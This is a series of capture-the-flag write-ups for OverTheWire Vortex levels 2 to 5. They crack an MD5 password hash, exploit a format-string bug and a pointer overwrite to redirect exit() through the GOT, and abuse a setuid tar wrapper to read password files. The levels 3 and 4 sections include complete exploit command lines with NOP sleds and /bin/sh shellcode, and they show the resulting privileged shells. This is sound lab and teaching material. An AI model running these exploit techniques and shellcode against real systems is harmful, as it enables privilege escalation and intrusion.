OverTheWire.org - Vortex - Level 5 Writeup

Well, this level is pretty easy.
We have the source code and we know we have to guess a password that is long 5 bytes and the alphabet is {a-z,A-Z,0-9}.
Looking at the code we see a memcmp() call that compares the MD5 hash of the input to a fixed value:

 "\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7"

So let's strip off the "\x" and we get the MD5 hash of the unknown password we have to guess.

Now we only have to put this hash into a password cracker or an online service that does it for us (like https://crackstation.net/)

We find that the password is rlTf6

Let's use it:

vortex5@vortex:~$ /vortex/vortex5
Password: rlTf6
6:36
You got the right password, congrats!
$ id
uid=5006(vortex6) gid=5005(vortex5) groups=5006(vortex6),5005(vortex5)
$ cat /etc/vortex_pass/vortex6
********2
$

OverTheWire.org - Vortex - Level 4 Writeup


We have the source code and it's quite clear that we can levereage a format string vulnerability using argv[3]
But wait, the program exits if argc (i.e. the number of parameters) is not zero.

We can overcome it by passing arguments in the environment and keeping the argument array NULL.

argv[3] is the third argument on the command line and it should correspond to second environment parameter

Let's create a temporary directory and move to it:

vortex4@vortex:~$ mkdir /tmp/vortex4
vortex4@vortex:~$ cd /tmp/vortex4

Let's write a calling application like in some utumno levels to confirm the behavior:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdlib.h>

int main (int argc, char *argv[])
{
    char *sc[3];

    sc[0]="/vortex/vortex4";
    sc[1]= "AAAA;
    sc[2]= "BBBB";
    
    execve("/vortex/vortex4",NULL,sc);
    
    return 0;
}

Compile and execute with ltrace

vortex4@vortex:/tmp/vortex4$ gcc -m32 v4.c -o v4

vortex4@vortex:/tmp/vortex4$ ltrace ./v4
__libc_start_main(0x804841d, 1, 0xffffd6f4, 0x8048470 <unfinished ...>
execve(0x8048500, 0, 0xffffd644, 0xf7e5519d <no return ...>
--- Called exec() ---
__libc_start_main(0x804844d, 0, 0xffffded4, 0x8048490 <unfinished ...>
printf("BBBB")                                                                                   = 4
exit(0BBBB <no return ...>
+++ exited (status 0) +++

So the sc[2] is passed to vortex4 and printed.

We have to play with the format string some times so let's change the calling program to use its own command line parameter:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdlib.h>

int main (int argc, char *argv[])
{
    char *sc[3];

    sc[0]="/vortex/vortex4";
    sc[1]= "AAAA";
    sc[2]= argv[1];

    execve("/vortex/vortex4",NULL,sc);

    return 0;
}

The basic idea of the exploit is to abuse the exit() call at the end of the vortex4 executable and find a way to change it like in the previous level.

But this time it won't be via a strcpy() and dedicated istructions to make it possibile.
We have to use a format string.

Before diving into the exploit we need to get the exit() function memory address that we have to overwrite.
vortex4@vortex:~$ gdb /vortex/vortex4
...
(gdb) disas main
...
   0x08048473 <+38>:    call   0x8048310 <printf@plt>
   0x08048478 <+43>:    movl   $0x0,(%esp)
   0x0804847f <+50>:    call   0x8048330 <exit@plt>
End of assembler dump.
(gdb) disas 0x8048330
Dump of assembler code for function exit@plt:
   0x08048330 <+0>:     jmp    *0x804a014
   0x08048336 <+6>:     push   $0x10
   0x0804833b <+11>:    jmp    0x8048300
End of assembler dump.
(gdb) x/wx 0x08048332
0x8048332 <exit@plt+2>: 0x0804a014
(gdb) x/wx 0x804a014
0x804a014 <exit@got.plt>:       0x08048336

So we have to overwrite that 0x08048336 value stored at 0x0804a014 with the address containing a shellcode.

So let's start with a default format string check by using a fixed string like "BBBB" followed by a number of "%x".
Let's start with one "%x" until the print() call shows the hex representation of "BBBB" (0x42424242)...
We find that we have to use 107 repeated "%x":


vortex4@vortex:/tmp/vortex4$ ./v4 $(python -c 'print "BBBB" + "%x"*106 + "%x"')
BBBBf7ffd000804849bf7fcc000804849000f7e3bad30ffffde04ffffde08f7feae6a0ffffde04ffffdda4804a018804822cf7fcc000000f5ffd6fdcd3012ed000080483500f7ff0660f7e3b9e9f7ffd0000804835008048371804844d0ffffde0480484908048500f7feb300ffffddfc1c00ffffdee8ffffdef8ffffdefdffffdfd8020f7fdbb5021f7fdb00010178bfbff61000116438048034420597f7fdc0008098048350b138cc138dd138ce138c17119ffffdecb1fffffdfe8fffffdedb00000f50000009b0f9b9c9f81052245ddaca4698e791436383600726f762f2f78657474726f763478654141414142424200

So now we can start using another format %n instead of last %x and change the "BBBB" sequence with the exit() function address 0x0804a014:

vortex4@vortex:/tmp/vortex4$ gdb ./v4
...
Reading symbols from ./v4...(no debugging symbols found)...done.
(gdb) set args $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"')
(gdb) r
Starting program: /tmp/vortex4/v4 $(python -c 'print "\x14\xa0\x04\x08" + "%x"*106 + "%hn"')
process 768 is executing new program: /vortex/vortex4

Program received signal SIGSEGV, Segmentation fault.
0x080401e3 in ?? ()

What happened?
The format string changed two bytes (due to %hn) at address 0x0804a014, which means that value 0x08048336 to 0x080401e3, where 01e3 is determined by the number of byte written before %hn

Now we have to change also the part "0x0804" the address to something on the stack.
So we need an additional %hn to point to 0x0804a016
and we also need to know where the buffer is loaded on the stack.

So our buffer should be composed by

  • address-1 to be overwritten (first two bytes)  
  • filling
  • address-2 to be overwritten (last two byes)
  • NOP Slide
  • Shellcode
  • repeated %x
  • a %Nx where N is a number that changes the value written at address-1
  • a %hn that writes a number on two bytes at address-1
  • a %Mx where M determines the number to be written at address-2
  • a %hn that writes the number
Note that N and M must write a number that is an address inside the NOP slide on the stack (most likely an address similar to 0xffffde00)

So getting the correct N and M and also the correct buffer composition may need some work.

After some time I found this working buffer:

./v4 $(python -c 'print "\x11\x12\x13\x14\x15\x14\xa0\x04\x08\x08\xa0\x04\x11\x16\xa0\x04\x08\x08" + "\x90"*200 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "%x"*106 + "%56220x" + "%hn"  + "%8589x" + "%hn" ')
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
:******r
$

I highlighted in black and bold the salient parts:
- where to put the addess to be overwwritten
- the format strings

OverTheWire.org - Vortex - Level 3 Writeup

Looking at the source code we see that the stack looks like this:

|----------------------------------------------|-----|-----|
| buffer (128 bytes)                           | tmp | lpp |
|----------------------------------------------|-----|-----|

Initially the  lpp points to the location of lp (which is on the heap, at address 0x0804...).
And lp points to the location (on the heap) of the number 31337

If we look at the last part assembler code we find:
...
   0x08048487 <+90>:    call   0x8048310 <exit@plt>
   0x0804848c <+95>:    mov    0x9c(%esp),%eax
   0x08048493 <+102>:   mov    (%eax),%eax
   0x08048495 <+104>:   mov    %eax,0x98(%esp)
   0x0804849c <+111>:   mov    0x9c(%esp),%eax
   0x080484a3 <+118>:   mov    (%eax),%eax
   0x080484a5 <+120>:   lea    0x18(%esp),%edx
   0x080484a9 <+124>:   mov    %edx,(%eax)
   0x080484ab <+126>:   movl   $0x0,(%esp)
   0x080484b2 <+133>:   call   0x8048310 <exit@plt>
End of assembler dump.

Where:
  • 0x18(%esp) is the start of the buffer address
  • 0x98(%esp) is tmp
  • 0x9c(%esp) is lpp

The code in the last few lines writes the buffer memory address into the memory location pointed by eax, but eax value is determined by 0x9c(%esp) (i.e. lpp)

So if build a buffer that is longer than 128 bytes we can write the address of the buffer into a memory location we can choose with the bytes 133rd - 136th (i.e. using lpp)

There is also a check that lpp must contain 0x0804. 
Therefore we cannot write arbitrary values to execute a standard buffer overflow using the return address pushed on the stack because it should start with 0xffff...

We can only write in memory areas that begins with 0x0804.

But we can exploit other things than the stack...
Look at the last line of assembler: it's a call to where exit is located on the heap:

(gdb) disas 0x08048310
Dump of assembler code for function exit@plt:
   0x08048310 <+0>:     jmp    *0x8049734
   0x08048316 <+6>:     push   $0x10
   0x0804831b <+11>:    jmp    0x80482e0

The interesting thing here is that there is a direct jump to an absolute address in memory (0x08049734).

What if we overwrite it with the buffer location using the "almost" arbitrary overwrite seen above?

The last exit() call should jump to code in the buffer!

The address to overwrite is just two bytes after the exit location on the heap:

(gdb) x/wx 0x08048312
0x8048312 <exit@plt+2>: 0x08049734

Let's build a buffer that is

|------------------------------------------------|-----|------------|
| NOP + shellcode (128 bytes)                    | tmp | 0x08048312 |
|------------------------------------------------|-----|------------|

And try:

vortex3@vortex:~$ /vortex/vortex3 $(python -c 'print "\x90"*101 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x18\xd5\xff\xff" +"\x12\x83\x04\x08"')
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2*******w
$

OverTheWire.org - Vortex - Level 2 Writeup

The code executes a tar command that creates an archive named /tmp/ownership.$$.tar

The main point here is  that $$, when used in a bash script represent the PID of the process itself.

But in our case, an ELF executable, it's not representing the PID but they are used as characters.
Therefore we just have to run the executable including the password as parameter.

Then we have to:

  • create a temporary folder, 
  • move to it, 
  • run the executable using, 
  • untar the file,
  • view the content in the local copy of the file.

vortex2@vortex:/$ mkdir /tmp/v3

vortex2@vortex:/$ cd /tmp/v3

vortex2@vortex:/tmp/v3$ /vortex/vortex2 /etc/vortex_pass/vortex3

vortex2@vortex:/tmp/v3$ tar -xvf  /tmp/ownership.\$\$.tar
etc/vortex_pass/vortex3

vortex2@vortex:/tmp/v3$ cat etc/vortex_pass/vortex3
6******#